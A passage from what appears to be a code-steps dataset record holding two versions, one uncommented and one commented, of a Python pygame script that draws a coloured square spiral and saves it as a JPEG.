[RED, YELLOW, GREEN, YELLOW]\nsummer = [GREEN, YELLOW, GREEN, BLUE]\naspect_ratio = 3840 / 2160\nx = 1540\ny = int(x / aspect_ratio)\nsize = [x, y]\ncolors = ocean\nbackground = BLACK\nsquares = 800\nshade = True\ngradient = 1.5\nrotate = False\nsame_colors = False\ncurr_length = 4\nadder = 4\ndistance = lambda p1, p2: sqrt((p1[0] - p2[0]) ** 2 + (p1[1] - p2[1]) ** 2)\nbound = lambda x: 0 if x < 0 else min(255, x)\n\n\ndef next_point(p1, p2):\n diff_x = p1[0] - p2[0]\n diff_y = p1[1] - p2[1]\n angle = arctan(abs(diff_x) / abs(diff_y))\n new_diff_x = int(sin(angle) * curr_length)\n new_diff_y = int(cos(angle) * curr_length)\n new_x = p1[0] + new_diff_x if diff_x < 0 else p1[0] - new_diff_x\n new_y = p1[1] + new_diff_y if diff_y < 0 else p1[1] - new_diff_y\n return [new_x, new_y]\n\n\npygame.init()\nscreen = pygame.display.set_mode(size)\npygame.display.set_caption('Create a spiral drawing')\ndone = False\nclock = pygame.time.Clock()\nscreen.fill(background)\np1 = [x // 2 - curr_length // 2, y // 2 - curr_length // 2]\np2 = [x // 2 + curr_length // 2, y // 2 - curr_length // 2]\np3 = [x // 2 + curr_length // 2, y // 2 + curr_length // 2]\np4 = [x // 2 - curr_length // 2, y // 2 + curr_length // 2]\npoints = [p1, p2, p3, p4]\ncurr_length += adder\np12 = [p1[0] + curr_length, p1[1]]\np22 = [p2[0], p2[1] + curr_length]\np32 = [p3[0] - curr_length, p3[1]]\np42 = [p4[0], p4[1] - curr_length]\nnew_points = [p12, p22, p32, p42]\nfor p1, p2 in zip(points, new_points):\n pygame.draw.line(screen, colors[1], p1, p2)\nfor j in range(squares):\n curr_length += adder\n points = new_points\n new_points = [0, 0, 0, 0]\n if rotate and j % 40 == 0:\n old = colors\n colors = [old[3], old[0], old[1], old[2]]\n for i in range(len(points)):\n p1 = points[i]\n p2 = points[(i + 1) % 4]\n p1_new = next_point(p1, p2)\n new_points[(i + 1) % 4] = p1_new\n col = colors[0] if same_colors else colors[i]\n fact = j * gradient if shade else 1\n new_col = bound(col[0] - fact), bound(col[1] - fact), bound(col[2] -\n fact)\n pygame.draw.line(screen, new_col, p1, p1_new)\npygame.display.flip()\nwhile not done:\n clock.tick(10)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\npygame.display.iconify()\nfilename = input('Enter filename with no extension or 0 to quit: ')\nif filename != '0':\n pygame.image.save(screen, path.join('images', filename + '.jpeg'))\n", "step-5": "import pygame\nfrom math import sqrt, sin, cos\nfrom numpy import arctan\nfrom os import path\n\n# try these colors or create your own!\n# each valid color is 3-tuple with values in range [0, 255]\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nWHITEGRAY = (192, 192, 192)\nRED = (255, 0, 0)\nMIDRED = (192, 0, 0)\nDARKRED = (128, 0, 0)\nMAROON = (80, 0, 0)\nGREEN = (0, 255, 0)\nDARKGREEN = (0, 128, 0)\nGREYGREEN = (0, 128, 128)\nMINT = (51,153,102)\nJADE = (0, 250, 154)\nBLUE = (0, 0, 255)\nNAVY = (0, 102, 204)\nDARKBLUE = (0, 0, 128)\nMIDBLUE = (0, 0, 192)\nPINK = (255, 0, 255)\nYELLOW = (255, 255, 0)\nMIDYELLOW = (192, 192, 0)\nMODESTYELLOW = (128, 128, 0)\nCYAN = (0, 255, 255)\nORANGE = (255, 102, 0)\nMIDORANGE = (192, 79, 0)\nPURPLE = (128, 0, 128)\nMIDPURPLE = (192, 0, 192)\nsunset = [MIDORANGE, MIDRED, DARKRED, DARKBLUE]\nocean = [GREEN, BLUE, CYAN, PINK]\ncarousel = [RED, YELLOW, GREEN, YELLOW] # trying running this with rotate\nsummer = [GREEN, YELLOW, GREEN, BLUE]\n\n#--------------CONFIGURATIONS----------------\n# various configurations change the way image is displayed\n# feel free to play around and see how the image changes\naspect_ratio = 3840 / 2160 # set this to the aspect ratio of your screen\nx = 1540 # width of the window\ny = int(x / aspect_ratio) # height of your screen\nsize = [x, y]\n# Try out preset colorschemes or try out new ones\ncolors = ocean\nbackground = BLACK\nsquares = 800 # number of squares drawn in the window\nshade = True # creates fading effect on the colors as spiral moves outward\ngradient = 1.5 # recommend 1.05 for dark colors (128-192) and 1.4 for light colors (255)\nrotate = False # rotates colors around the spiral\nsame_colors = False # use the same color for all sides of a each square in the spiral\ncurr_length = 4 # starting side length of the first square in the spiral\n# determines how tightly spiral is wound - rate at which the side lengths grow linearly\n# use carefully, may cause divide by zero error for certain increments\nadder = 4\n\n#--------------HELPER FUNCTIONS---------------\ndistance = lambda p1, p2: sqrt((p1[0] - p2[0])**2 + (p1[1] - p2[1])**2) # get distance b/t two points\nbound = lambda x: 0 if x < 0 else min(255, x) # keep color values within [0,255]\n\ndef next_point(p1, p2):\n diff_x = p1[0] - p2[0]\n diff_y = p1[1] - p2[1] \n\n #calculate next point using triangle geometry\n angle = arctan(abs(diff_x) / abs(diff_y))\n new_diff_x = int(sin(angle) * curr_length)\n new_diff_y = int(cos(angle) * curr_length)\n new_x = p1[0] + new_diff_x if diff_x < 0 else p1[0] - new_diff_x \n new_y = p1[1] + new_diff_y if diff_y < 0 else p1[1] - new_diff_y \n return [new_x, new_y]\n\n#--------------INITIALIZATION-----------------\npygame.init()\nscreen = pygame.display.set_mode(size)\npygame.display.set_caption(\"Create a spiral drawing\")\ndone = False\nclock = pygame.time.Clock()\nscreen.fill(background)\n\n#-----------------ARTWORK---------------------\np1 = [x//2 - curr_length//2, y//2 - curr_length//2]\np2 = [x//2 + curr_length//2, y//2 - curr_length//2]\np3 = [x//2 + curr_length//2, y//2 + curr_length//2]\np4 = [x//2 - curr_length//2, y//2 + curr_length//2]\npoints = [p1, p2, p3, p4]\n\n#end of each line\ncurr_length += adder\np12 = [p1[0] + curr_length, p1[1]]\np22 = [p2[0], p2[1] + curr_length]\np32 = [p3[0] - curr_length, p3[1]]\np42 = [p4[0], p4[1] - curr_length]\nnew_points = [p12, p22, p32, p42]\n\nfor p1, p2 in zip(points, new_points):\n pygame.draw.line(screen, colors[1], p1, p2)\n\n# every iteration draws a new square and updates the points\nfor j in range(squares):\n curr_length += adder\n points = new_points\n new_points = [0, 0, 0, 0]\n if rotate and j % 40 == 0: # change colors every 10 squares\n old = colors\n colors = [old[3], old[0], old[1], old[2]] # shuffle colors to create rotating effect\n \n # every iteration calculates a new point and draws line from points[i] to new point\n for i in range(len(points)):\n p1 = points[i]\n p2 = points[(i+1)%4]\n p1_new = next_point(p1,p2)\n \n new_points[(i+1)%4] = p1_new\n col = colors[0] if same_colors else colors[i]\n fact = j * gradient if shade else 1 # with shade set, colors naturally fade to black\n new_col = (bound(col[0] - fact), bound(col[1] - fact), bound(col[2] - fact))\n pygame.draw.line(screen, new_col, p1, p1_new)\npygame.display.flip()\n\n#----------------EVENT LOOP-------------------\nwhile not done:\n clock.tick(10)\n for event in pygame.event.get(): \n if event.type == pygame.QUIT: # If user clicked close\n done = True\npygame.display.iconify()\n\nfilename = input(\"Enter filename with no extension or 0 to quit: \")\nif filename != \"0\":\n pygame.image.save(screen, path.join(\"images\", filename + \".jpeg\")) ", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]